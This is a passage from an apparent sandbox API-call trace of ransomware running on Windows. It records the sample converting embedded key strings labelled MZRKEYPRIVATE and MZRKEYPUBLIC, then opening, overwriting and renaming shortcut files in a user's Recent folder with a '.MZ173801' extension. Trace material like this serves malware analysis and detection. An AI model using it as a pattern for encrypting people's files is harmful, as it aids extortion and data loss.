lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0146.996] GetCurrentThreadId () returned 0xab4 [0146.996] GetCurrentThreadId () returned 0xab4 [0146.996] GetCurrentThreadId () returned 0xab4 [0146.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.997] GetCurrentThreadId () returned 0xab4 [0146.997] GetCurrentThreadId () returned 0xab4 [0146.997] GetCurrentThreadId () returned 0xab4 [0146.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4Zbv0xLp.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4zbv0xlp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.997] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.997] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.997] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2fc [0146.997] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.997] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2fc, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2fc, lpOverlapped=0x0) returned 1 [0146.998] CloseHandle (hObject=0x280) returned 1 [0146.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4Zbv0xLp.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4zbv0xlp.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.008] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2fc, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2fc, lpOverlapped=0x0) returned 1 [0147.008] CloseHandle (hObject=0x280) returned 1 [0147.009] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4Zbv0xLp.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4zbv0xlp.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4Zbv0xLp.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4zbv0xlp.lnk.mz173801")) returned 1 [0147.010] GetCurrentThreadId () returned 0xab4 [0147.010] GetCurrentThreadId () returned 0xab4 [0147.010] GetCurrentThreadId () returned 0xab4 [0147.010] GetCurrentThreadId () returned 0xab4 [0147.010] GetCurrentThreadId () returned 0xab4 [0147.010] GetCurrentThreadId () returned 0xab4 [0147.010] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e860a1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x7126d4eb, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7126d4eb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="5B1wK SInIEY1XG8.lnk", cAlternateFileName="5B1WKS~1.LNK")) returned 1 [0147.010] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.010] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.010] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5B1wK SInIEY1XG8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5b1wk siniey1xg8.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e860a1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x7126d4eb, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7126d4eb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0147.010] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5B1wK SInIEY1XG8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5b1wk siniey1xg8.lnk")) returned 0x20 [0147.010] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5B1wK SInIEY1XG8.lnk", dwFileAttributes=0x80) returned 1 [0147.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 